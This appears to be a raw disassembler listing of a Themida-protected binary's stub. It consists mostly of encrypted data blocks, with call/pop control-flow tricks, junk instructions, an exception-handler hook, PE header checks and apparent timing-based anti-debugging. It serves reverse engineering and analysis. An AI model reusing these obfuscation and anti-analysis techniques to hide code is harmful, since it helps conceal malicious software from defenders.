		dd 1C042444h, 41000000h, 96BBC351h, 6501A5C9h, 5365AD20h
		dd 13E9h, 13415000h, 260CA01Ch,	0E0713D08h, 8E568FB3h
		dd 435CFC49h, 0BD23565Bh, 6102FEDh, 489505Bh, 0DBB70F24h
		dd 49595FFh, 6A0610h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 6BD180C3h, 6EE34C52h, 8AD88B66h
		dd 0C84E9D8h, 0E80000h,	5D000000h, 3830ED81h, 6A0615h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 0F56DEC3h, 281h, 5FF88B00h, 99B6858Dh, 50900613h, 2B906160h
		dd 100D35BDh, 35FF6406h, 0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_59ECEB
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59ECEB	proc near		; CODE XREF: Themida_:0059ECE3p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_59ECEB	endp

; ---------------------------------------------------------------------------
		db 92h
		dd 0D49D6662h, 0F7FDF80h, 8964DFB7h, 25h, 0F1BD0B00h, 0FF06102Ah
		dd 10141985h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 197E4175h, 0E904EDB1h, 0Ah, 3D6A6CD7h
		dd 0F765DE6Bh, 0FF6A0910h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 67C35343h, 0B715C4DDh, 0A5B5FF20h, 0E9061004h
		dd 0Bh,	699ECC35h, 0B1DF8B10h, 0FF2BFAFBh, 10061595h, 120E906h
		dd 9D8B0000h, 6100B21h,	0BB6600B0h, 70E6C6E2h, 71E4DF8Bh
		dd 68B0Fh, 0BD890000h, 61011C5h, 7AF0BB66h, 830F613Ch
		dd 0F6h, 0B81BD33h, 0BE90610h, 0B7000000h, 711681A2h, 0BBB6990Bh
		dd 0B60F1958h, 0BAFD8AC8h, 6, 0C18B6BB3h, 0C1F98B66h, 7E804E8h
		dd 0A4000000h, 0E7872F2Dh, 0AE98B68h, 0E1000000h, 0B099EECh
		dd 94940911h, 0F7665BF1h, 0DF8B66E2h, 0D98BC82Bh, 12E8D18Bh
		dd 0D1000000h, 0FEDFD28Eh, 100B82FDh, 72FFA27Dh, 2CC5DECBh
		dd 5BD03C8h, 5F061002h,	81E9h, 0B8E0F00h, 0F000000h, 581h
		dd 0AE1ABF00h, 858B39CDh, 4947554Ch, 0B04BD781h, 0C08363A3h
		dd 72D78107h, 833F3621h, 6FBB00C0h, 3B0FB831h, 0B830FD0h
		dd 1000000h, 1004D995h,	40E906h, 8D8B0000h, 0FFFFFFFFh
		dd 2161BD8Bh, 0E1830610h, 2B840F01h, 0BF000000h, 71D72C5Eh
		dd 0FFFFA583h, 0FFEFFFFh, 88Eh,	8D895700h, 6102829h, 4C95895Fh
		dd 89494755h, 101F4D85h, 0E906h, 0B58D0000h, 614B33Bh
		dd 15E5BD01h, 6A0610h, 9D9D8951h, 5B061027h, 31C995FFh
		dd 6A0610h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 6E99D3C3h, 0CEC7917Fh, 0BB66C000h, 1DB92D35h
		dd 80000011h, 0E18358E7h, 358589FCh, 0FC061009h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 78C35646h, 0C02B2A02h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 39C35343h
		dd 0F648F11h, 10E8DBBFh, 24000000h, 220A5CF5h, 110F9B47h
		dd 0CEA78C85h, 8BFD0EA0h, 10141DBDh, 0BA5F06h, 8B000000h
		dd 0C233ADF9h, 0D003E8D1h, 7504E983h, 0FD98AF4h, 68Dh
		dd 0D5950900h, 0D06102Fh, 88h, 6810Fh, 8D890000h, 6102F41h
		dd 9F5958Bh, 9D8B0610h,	610171Dh, 23198D8Bh, 6A0610h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 9D89CAC3h, 6101F3Dh,	8BC28B50h, 8BC10318h, 0D1C18B18h
		dd 8BC203E8h, 81605818h, 0C97532DEh, 7D958B18h,	6106101Eh
		dd 810Fh, 2ABF0000h, 833C1AB2h,	101E29BDh, 840F0006h, 79h
		dd 0CE9h, 5B0C2300h, 0E23CE1B5h, 0D53CC22Fh, 2EAABF08h
		dd 0B85FC0h, 6A000000h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 7B08C350h, 5F3270DDh
		dd 1258BF40h, 816621A3h, 8DB49FD7h, 104E858Dh, 9DF8106h
		dd 0FF1C8584h, 51006AE1h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 8BF71D32h, 101E2DBDh
		dd 0C1BD8306h, 61022h, 43A840Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 4CCB18C3h
		dd 0FF8FB20Ah, 22C1BD83h, 0F010610h, 42684h, 0BD83FC00h
		dd 61022C1h, 0E2860F03h, 0E9000003h, 0Eh, 0DEB772D3h, 1B920399h
		dd 3C5073BAh, 6A608DC3h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 4655C356h, 0F5FBB70Fh
		dd 6AD98C66h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 0D526C351h, 0E180D88Bh, 57006A04h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 0AD69056Fh, 0E27443D4h, 0FC90A77h, 0C684h, 8BFA8B00h
		dd 10218585h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 4B532F79h, 0F2D9EE8h, 8533FFB7h
		dd 61011FDh, 11E9h, 7FD12C00h, 5FD93DAh, 0FE51BFFFh, 0C0E6E17Fh
		dd 0F50A4A2h, 0C81h, 6860F00h, 50000000h, 5A310F52h, 24048958h
		dd 2015BD89h, 81660610h, 6ACD31EFh, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 5CCA18A7h
		dd 689EDD51h, 9117BF3Dh, 0C2240481h, 896F0744h,	101D5985h
		dd 0D595FF06h, 89061005h, 101BB98Dh, 0F98B6606h, 0C26D8589h
		dd 9D230613h, 6102845h,	204E9h,	0ADBD8B00h, 8B061001h
		dd 13C26585h, 0B5BD8906h, 0C7061000h, 1800h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 6612E400h, 8B9084BFh, 13C269B5h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 25858B87h
		dd 6606100Eh, 5F18F381h, 6A0689h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 0E8FDC5C3h, 0Ah, 6554B1EEh
		dd 22E261C5h, 890FC8EFh, 4, 0F51BB66h, 0E8D98A5Fh, 0Ch
		dd 0B3ABA9E0h, 3C326768h, 11FB06A5h, 5800Fh, 81660000h
		dd 5F6B3CE3h, 2185858Bh, 6A0610h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 6BC9C4C3h, 840491EAh
		dd 0E1BD33FBh, 2906101Ch, 1012C1BDh, 4468906h, 333D9D89h
		dd 0B5010610h, 61012C9h, 0BE86050h, 14000000h, 0C6054A49h
		dd 30697E11h, 0DE8BA7C7h, 0EE958h, 4BE90000h, 93BD981Eh
		dd 0F667DC8Eh, 43CD8A30h, 24348961h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 2AC35545h, 45B589B9h, 0FF06102Dh
		dd 13C265B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 33A81DEh,	0F1EA4BE5h, 0B5895661h
		dd 610024Dh, 61538468h,	0D88B6638h, 7B243481h, 0BB387E50h
		dd 2DEDF0B2h, 0C26D858Dh, 6A0613h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 38F79DC3h, 85CF80C6h
		dd 66525050h, 310FDE8Bh, 52505250h, 585A310Fh, 8CBF310Fh
		dd 5A3D8516h, 89585A58h, 0FE82404h, 36000000h, 62ADB7D7h
		dd 8BAEB4A7h, 7D79BC2Dh, 0BD8B5ED1h, 6100A8Dh, 0D595FF5Fh
		dd 89061005h, 1013E1B5h, 6A6106h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 5DF68AC3h, 0F3FC06CCh
		dd 0F6CE9C0h, 68Fh, 0F5BD8B00h,	0C7061006h, 1022C185h
		dd 306h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1704h, 0C3504000h, 854B6E2Dh, 0C26DBD83h, 0F000613h
		dd 3084h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 0BD9D295Bh, 2306101Ah, 1030A59Dh
		dd 1EE906h, 0B70F0000h,	0C3050FBh, 11440011h, 10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0BD8BDE8Bh
		dd 6101FD1h, 22C1BD83h,	0F030610h, 3FB85h, 6860F00h, 8B000000h
		dd 100871BDh, 0CB816606h, 0BD83B55Dh, 613C26Dh,	0DD840F00h
		dd 31000003h, 1019D585h, 6DB5FF06h, 6A0613C2h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 0BD1AC350h, 6B3C38EDh, 0F8D9D01h, 95FF0610h,	6102FA5h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0C7C35646h
		dd 8B97B74Ah, 13C261B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 106C7C9h, 6A000100h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 23CDC352h, 58FEC032h, 0BDF1882h, 101C1D9Dh, 0FA8B6606h
		dd 43FBBB50h, 34896C15h, 0FFFA8A24h, 13C26DB5h,	0AE906h
		dd 0B5A60000h, 51FFD74Eh, 635000BEh, 122595FFh,	0F7800610h
		dd 61B58B29h, 6A0613C2h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 1C7C353h, 10BB6637h
		dd 0EF8166F4h, 858B5D18h, 61021D1h, 1CADBD8Bh, 86890610h
		dd 0C4h, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 16h,	0CFC35141h, 9D8BD35Eh, 610057Dh, 0AADBD8Bh, 958B0610h
		dd 61009F5h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	0EC35040h, 43EB4A0Fh, 0D98B6660h, 2A798531h, 83610610h
		dd 6A04C2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 0DAAD3FC3h, 20508919h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 7DC35242h, 7FD4B99Dh, 0BE9E7h
		dd 0D9A0000h, 89BE9809h, 0D7DFC1A5h, 0C2858D16h, 6A0613D7h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 1DBC350h,	86EF00C3h, 8689E993h, 0B8h, 3D8D31F5h
		dd 6A06102Ah, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 5BC517AAh, 0FFFD1ACh, 38Ch, 0B5C38000h
		dd 0C26DB5FFh, 6A0613h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 6681B5C3h, 1F54EB81h, 49595FFh
		dd 52960610h, 9E9h, 0F4541A00h,	0C4CFE29Ch, 505F177Fh
		dd 118D0Fh, 52500000h, 820Fh, 310F0000h, 0F4F9BFBBh, 96585A33h
		dd 0C26DB5FFh, 6A0613h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 3905BFC3h, 0A61C1973h, 0FFB0024Eh
		dd 10162D95h, 11E906h, 39130000h, 3E80C381h, 0AE082152h
		dd 0D0F9B697h, 83F330F5h, 101351BDh, 840F0006h,	2Fh, 0CE8h
		dd 8589DE00h, 472AEFF4h, 0EDAF0D3h, 5830FD7h, 66000000h
		dd 93D8C781h, 6E9505Bh,	0C8000000h, 19973798h, 243489E8h
		dd 0FFDF8B66h, 13C26DB5h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 3125C354h
		dd 9A0DDF81h, 0EF8000A1h, 1995FFAEh, 906100Ch, 101D058Dh
		dd 6DB5FF06h, 0FC0613C2h, 162195FFh, 85090610h,	61011BDh
		dd 0F89BD83h, 0F020610h, 4F84h,	0B1BD2300h, 8B061014h
		dd 1010C585h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 8E842h, 90D80000h, 6CB04673h, 8960206Dh
		dd 102E0195h, 0C99D2906h, 61061027h, 0C6D88B5Fh, 9D8B0000h
		dd 6101571h, 2A2585C7h,	610h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 0C681F2C3h
		dd 0B509F9B3h, 6100DF1h, 0FFF43DE9h, 9BD8BFFh, 8B061016h
		dd 0F38166C1h, 0BAB22Ah, 81F00E10h, 0EAh, 14C283F0h, 0C899589h
		dd 0EA830610h, 55858D14h, 50061545h, 35FF64h, 64000000h
		dd 2589h, 0E80000h, 58000000h, 25C22Bh,	66FFFFF0h, 5A4D3881h
		dd 12850Fh, 0B70F0000h,	0D0033C50h, 45503A81h, 840F0000h
		dd 0Ah,	10002Dh, 0FFD9E900h, 0C88BFFFFh, 1FD58589h, 40030610h
		dd 50B70F3Ch, 8D958906h, 8B06101Ah, 95895050h, 6101B39h
		dd 0F805h, 0C508B00h, 9589D103h, 610091Dh, 89085003h, 1023F595h
		dd 58F6406h, 0
; ---------------------------------------------------------------------------
		add	esp, 4
		jmp	loc_59F9D3
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, [esp+10h]
		sub	dword ptr [ecx+0B0h], 1000h
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_59F9D3:				; CODE XREF: Themida_:0059F9BBj
		cmp	dword ptr [ebp+6103105h], 0
		jz	loc_59FA04
		mov	byte ptr [ebp+61023E5h], 47h
		push	0D49AA7D2h
		push	dword ptr [ebp+6101D45h]
		lea	eax, [ebp+613858Ah]
		call	eax
		push	0
		call	eax
		mov	[ebp+6100C4Dh],	eax


loc_59FA04:				; CODE XREF: Themida_:0059F9DAj
		mov	edx, ebx
		call	loc_59FA1D
		sbb	dl, [ebx+4049DA3Dh]
		sbb	eax, 57545B4Dh
		out	78h, eax
		mov	cl, 3Eh
		xchg	eax, ecx
		jo	short near ptr loc_59FA42+1


loc_59FA1D:				; CODE XREF: Themida_:0059FA06p
		movsx	edx, di
		pop	edi
		sub	edx, 439A67D7h
		add	edi, 5DE2h
		mov	dl, 95h
		xor	eax, eax


loc_59FA31:				; CODE XREF: Themida_:loc_59FACFj
		mov	ecx, [edi+eax]
		movsx	esi, di
		add	ecx, 2E560BF8h
		call	sub_59FA56


loc_59FA42:				; CODE XREF: Themida_:0059FA1Bj
		and	[edi], dh
		das
		sbb	dword ptr [ecx], 0D4437422h
		or	[ecx-60D81557h], edx
		add	al, 0FAh	; CODE XREF: sub_59FA56+6Dj
; ---------------------------------------------------------------------------
		db 0FEh
		db 0D2h, 0AFh

; =============== S U B	R O U T	I N E =======================================



sub_59FA56	proc near		; CODE XREF: Themida_:0059FA3Dp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0059FAC2 SIZE 00000005 BYTES

		adc	si, 97B2h
		pop	esi
		xor	ecx, 5CBC6140h
		call	near ptr loc_59FA75+1
		jo	short loc_59FAC2
		inc	esp
		daa
		mov	[esp+ecx*8-4+arg_0], ebp
		mov	dword ptr [ebx-7], 0C18899Bh


loc_59FA75:				; CODE XREF: sub_59FA56+Cp
		mov	esi, 5B84EF80h
sub_59FA56	endp ; sp-analysis failed

		sub	ecx, 39FB4BB2h
		mov	edx, edi
		push	ecx
		mov	si, 0E2E5h
		pop	dword ptr [edi+eax]
		xor	bx, 0E981h
		sbb	dl, 6Fh
		sub	eax, 4
		adc	si, 809h
		cmp	eax, 0FFFFA2F4h
		jnz	loc_59FAB6
		adc	dh, 6Ah
		jmp	loc_59FAE5
; ---------------------------------------------------------------------------
		dw 0D414h
		dd 247B41E8h
		db 65h,	95h
; ---------------------------------------------------------------------------


loc_59FAB6:				; CODE XREF: Themida_:0059FAA0j
		jmp	loc_59FACF
; ---------------------------------------------------------------------------
		db 89h
		dd 16ED5B64h
; ---------------------------------------------------------------------------
		mov	ch, 3Eh
; START	OF FUNCTION CHUNK FOR sub_59FA56


loc_59FAC2:				; CODE XREF: sub_59FA56+11j
		dec	ebp
		jle	short near ptr loc_59FA51+1
		setalc
		retn
; END OF FUNCTION CHUNK	FOR sub_59FA56
; ---------------------------------------------------------------------------
		das
		jge	short near ptr loc_59FB39+8
		retf
; ---------------------------------------------------------------------------
		lodsd
		db	2Eh
		mov	bl, 7Dh


loc_59FACF:				; CODE XREF: Themida_:loc_59FAB6j
		jmp	loc_59FA31
; ---------------------------------------------------------------------------
		dd 0EC1ABC78h, 0F2FA90E9h, 0A6E544A7h, 0F75CF0E5h
		db 81h
; ---------------------------------------------------------------------------


loc_59FAE5:				; CODE XREF: Themida_:0059FAA9j
		lea	ecx, [ebp+6154768h]
		movzx	esi, cx
		mov	[ebp+61009F5h],	ecx
		push	0
		push	esi
		call	sub_59FAFF
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59FAFF	proc near		; CODE XREF: Themida_:0059FAF7p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_59FAFF	endp

; ---------------------------------------------------------------------------
		and	dh, 0E3h
		or	al, dl
		push	39h
		dec	edx
		xchg	eax, ebp
		pusha
		or	[ebp+6103075h],	eax
		pusha
		mov	ecx, [ebp+61020CDh]
		add	[ebp+6102D45h],	eax
		popa
		popa
		mov	dword ptr [ebp+6102319h], 60A0h
		stc


loc_59FB39:				; CODE XREF: Themida_:0059FAC8j
		mov	dword ptr [ebp+61022C1h], 0
		push	0
		push	eax
		call	sub_59FB4E
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59FB4E	proc near		; CODE XREF: Themida_:0059FB46p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_59FB4E	endp

; ---------------------------------------------------------------------------
		dw 645Ah
		dd 0BD89E1F2h, 6100101h, 302DBD89h, 0B5FF0610h,	6102ED5h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0D1C35040h
		dd 0BE9DCh, 6CEF0000h, 2A1658A2h, 62B17468h, 0B995FFC3h
		dd 6A06102Dh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 0F2CEC357h, 0B5898713h, 6100B21h
		dd 95FF006Ah, 61031C9h,	1CEBC08Bh, 35A7D9F3h, 0E389D4C3h
		dd 557D15D5h, 550CC57Eh, 0BFF64CD7h, 0BB4128CEh, 22A4B94Dh
		dd 48108D8Dh, 850B0615h, 6100CA1h, 9F58D89h, 6A0610h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 2FB9C6C3h, 1985C713h, 30061023h, 80000074h, 85C7C7D3h
		dd 61022C1h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_59FC47
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59FC47	proc near		; CODE XREF: Themida_:0059FC3Fp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_59FC47	endp

; ---------------------------------------------------------------------------
		push	ss
		enter	0FFFFB777h, 2Bh
		push	dword ptr [ebp+61000CDh]
		mov	edi, [ebp+6100249h]
		call	dword ptr [ebp+6102DB9h]
		mov	esi, [ebp+6102A6Dh]
		push	0


loc_59FC76:				; CODE XREF: Themida_:0059FCDAj
		call	dword ptr [ebp+61031C9h]
		mov	eax, eax
		jmp	short loc_59FCBE
; ---------------------------------------------------------------------------
		dd 6398945Dh, 754F17E4h, 2493B344h, 487BF53Dh, 95246B93h
		dd 0A4707F07h, 47E5076Bh, 85039A94h, 0EED2396h,	0D5333C20h
		dd 0A13F6DE5h, 64A6E2BDh, 1AD5467Eh, 0B8CBC42Bh, 0FE144D2Ch
		db 44h,	0C2h
; ---------------------------------------------------------------------------


loc_59FCBE:				; CODE XREF: Themida_:0059FC7Ej
		xchg	eax, ebp
		sbb	ch, dl
		adc	al, 71h
		pop	edx
		outsd
		aas
		sub	esi, [edx+6]
		aas
		mov	esi, 9C61259Ah
		les	ecx, [ebx+ecx*2+7B849E8Bh]
		rep sahf
		push	ds
		aas
		jmp	short loc_59FC76
; ---------------------------------------------------------------------------
		dd 52366943h, 55E6EFEFh, 95EADEDBh, 273DF1B2h, 9C4F2A88h
		dd 19A64A05h, 8AD7AAB8h, 839F3F03h, 5A7E6C55h, 9AFE3CBDh
		dd 0FFF8B605h, 17B82F0Bh, 88E72A98h, 0C17CC003h, 0F6ABC5Dh
		dd 9AED2F05h, 0C9A52871h, 9AFE3CBDh, 0FFF8B605h, 17B82F0Bh
		dd 88EA3B98h, 0C17CC003h, 1A68595Dh, 0FB76B6A5h, 0B3F32F00h
		dd 8AFBF290h, 0F0BDB403h, 99566C05h, 0BA5F3F05h, 13F4FC5Eh
		dd 1BD31B59h, 8CEF1B41h, 0D9F53F05h, 37B6FC56h,	4AF6599Ch
		dd 2966B363h, 955B97B5h, 9AACE081h, 0C8D75505h,	9AEB3CEDh
		dd 59AF1F05h, 0BEAEB65Fh, 0BE39BE01h, 9ABE2A01h, 590D7D05h
		dd 0F245374h, 9CC71EECh, 0B7FA8286h, 95F53915h,	9AFA7B81h
		dd 2D725F05h, 2733B4C4h, 0FB592F1Bh, 9AACA0ECh,	0CBD75505h
		dd 9AEB3CEDh, 59AC1F05h, 0BEB6B65Ch, 0BE39BE01h, 9ABE2B01h
		dd 590E7E05h, 1312B4C5h, 73D12F00h, 9AEB3F02h, 7F84175Bh
		dd 91339A04h, 8A60EA90h, 0BDBE8103h, 55DF3D05h,	9D2AB279h
		dd 65D12C7Ch, 0CF76B4D5h, 1FF32F36h, 767E30C5h,	137D3F05h
		dd 8AB6B688h, 0CD67BE03h, 9554BE63h, 9AD77A80h,	9B56B405h
		dd 13F32F04h, 8AF716B8h, 0E2FC5903h, 95BC3D01h,	9A5C6581h
		dd 0C9AF5505h, 9AD73CEDh, 59B01F05h, 0BEA9B65Eh, 0BEBEBE01h
		dd 9A7D2201h, 59ED7C05h, 1546BBB7h, 0CA0929D9h,	1B81C4ACh
		dd 8D3FDFCAh, 1B936515h, 959AA33Dh, 9A7DB580h, 0F7330E05h
		dd 1A592F1Bh, 95473D7Dh, 9AD74580h, 0C9EB5505h,	9AF53CEDh
		dd 59A11F05h, 0BE21B65Eh, 0BEFABE01h, 9A5F2801h, 59FC7C05h
		dd 0C847CECEh, 34358063h, 9C8DBE63h, 1FF59405h,	9A7D3F4Eh
		dd 72E93F6Fh, 9A5F3F06h, 0C56C6025h, 9EF3438Ch,	9ECF7B84h
		dd 9AF53F1Dh, 2B396842h, 1811F01Fh, 9ABE30EDh, 0B57C0705h
		dd 0C32D7458h, 985E6A83h, 439CF454h, 83E0A28Eh,	23A03915h
		dd 0FCCA3C47h, 9ABCA1ECh, 1FDAB605h, 24A92F27h,	0DCD63E05h
		dd 0B416A28Eh, 1F783915h, 9CE94602h, 0AD94BE63h, 0F06EC0C2h
		dd 99B76D05h, 0BAAF3F05h, 138DFC5Fh, 1BEF1B51h,	82F11B41h
		dd 0D8FA3F05h, 2DC4FC57h, 1BD12A4Ah, 0D05B16EEh, 5322B437h
		dd 1FD12F15h, 8F6F30C5h, 0F0F53F07h, 99126E05h,	0BA7D3F05h
		dd 13E7FC5Ch, 1B5B1B49h, 82AB1B41h, 0DBD73F05h,	2034FC54h
		dd 1B2CF52Ah, 98C7593Dh, 0ADF83007h, 20BE3F05h,	0FFB7A002h
		dd 0FCA94784h, 95AD6038h, 9AE93181h, 0CCF55505h, 9AFA3CEDh
		dd 59231F05h, 0BECAB65Bh, 0BE1BBE01h, 9AAF2A01h, 59817905h
		dd 7621D59h, 9CE52594h,	1B9CEEB4h, 951DA33Dh, 9ABE0180h
		dd 0E3D2B405h, 1AA92F2Bh, 953F3D7Dh, 9AEB1180h,	0DF68B405h
		dd 13FC2F05h, 8A699E90h, 0E23F5903h, 959F3F03h,	9AAF2980h
		dd 9B4AB605h, 73ED2F35h, 9AF53EAEh, 0DB415953h,	24C4667Ch
		dd 248C66AAh, 0E45E3E05h, 72FA3F6Fh, 9AD73F06h,	0C7286225h
		dd 9ED1538Ch, 9EDE7B84h, 9A7D3F1Ch, 9D7D6A40h, 0AF0F7D34h
		dd 0F31A3E83h, 17D12F0Bh, 89923880h, 9F783003h,	21FA3F05h
		dd 0B8187E4Ch, 0A87BBA8Ch, 4AA03915h, 72F93F6Fh, 9AD73F06h
		dd 0C4286125h, 9ED14B8Ch, 9EDE7B84h, 9A7D3F12h,	4D7D6943h
		dd 1FF14CFDh, 672B30C5h, 0F0D73F05h, 99036A05h,	0BAF53F05h
		dd 13A7FC58h, 1B791B69h, 8CBA1B41h, 0DF5F3F05h,	5521FC50h
		dd 0F810BF95h, 95030785h, 9AF56680h, 1AA38D05h,	950E3A7Dh
		dd 9ABE7280h, 9A4FD605h, 0E0F43F05h, 19C8ACD9h,	0A3905BACh
		dd 0BA8442DCh, 0E27AE67Ch, 1E726C02h, 9ABE3FDAh, 720A3F6Fh
		dd 9AAF3F06h, 0C7146225h, 9ECF538Ch, 9ED17B84h,	9AFA3F11h
		dd 0CCBE6A40h, 9AB4D7F0h, 34203F05h, 0CEB338D9h, 7B83A2E3h
		dd 1B8D65FCh, 95F0B03Dh, 9AFA5080h, 27F0B605h, 1AB82F0Bh
		dd 9537397Dh, 9AAF6080h, 53683005h, 9193BE63h, 1FFA1AFAh
		dd 9AFA3F55h, 722A3F6Fh, 9ABE3F06h, 0C59C6025h,	9E8B438Ch
		dd 9EF37B84h, 9AEB3F11h, 0AE366842h, 1330B465h,	8A6C7E80h
		dd 0C6575E03h, 0F05F3F05h, 99476805h, 0BAD73F05h, 13B4FC5Ah
		dd 1BF11B79h, 8DFE1B41h, 0DD7D3F05h, 56ACFC52h,	27D6BF68h
		dd 9CBF18B0h, 25B1FF2Eh, 0AB021006h, 0F0F53F05h, 99126905h
		dd 0BA7D3F05h, 13E0FC5Bh, 1B5B1B71h, 8FAB1B41h,	0DCD73F05h
		dd 0D0B0FC53h, 9AF535ECh, 2650E205h, 0E9BC4E29h, 226496A4h
		dd 9A5F3F04h, 9AAAD655h, 6AEE3F05h, 13E9C545h, 9A9F1B01h
		dd 9AF9D750h, 0C75D3F05h, 0F63762C6h, 0DEDE3B21h, 9ABB3B21h
		dd 0CF923F05h, 1BE4F4C6h, 9AF53F00h, 7E7270BCh,	0C9C0B24Fh
		dd 17B82A4Dh, 8F124988h, 0CF8C8703h, 1FD44863h,	9CFB1E38h
		dd 524F02Eh, 6FE45E3Eh,	672FA3Fh, 259AD73Fh, 8CC72862h
		dd 849ED153h, 1C9EDE7Bh, 5E9833Fh, 6058A4F3h, 1FD98D8Bh
		dd 850F0610h, 1, 6A61FCh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 5D0C4DC3h, 5A51231Ah
		dd 0C00B1086h, 81840Fh,	6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 8D47BAC3h, 104E85B5h
		dd 0DE806h, 0AABB0000h,	361D6B6Ah, 0F61C8D0h, 0E9915907h
		dd 14h,	4C77E87Ah, 0D0681616h, 615E6D8Ah, 44C325C5h, 0A7FEC971h
		dd 3B859h, 0E6FF0000h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 0FC35040h, 0F49C093h,	682h, 0D1958900h
		dd 40061023h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 16h,	48C35040h, 9D8B0D22h, 6101435h,	6AC08Bh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 0B06490C3h, 0A58E3ABAh, 0D3816680h, 83F8EC53h, 10158DBDh
		dd 9750006h, 95BD83h, 74000610h, 8B535019h, 403B8C0h, 85890000h
		dd 610132Dh, 0B87C9D8Dh, 0D3FF0612h, 0BD83585Bh, 6100095h
		dd 50177400h, 403B853h,	85890000h, 610132Dh, 0B51D9D8Dh
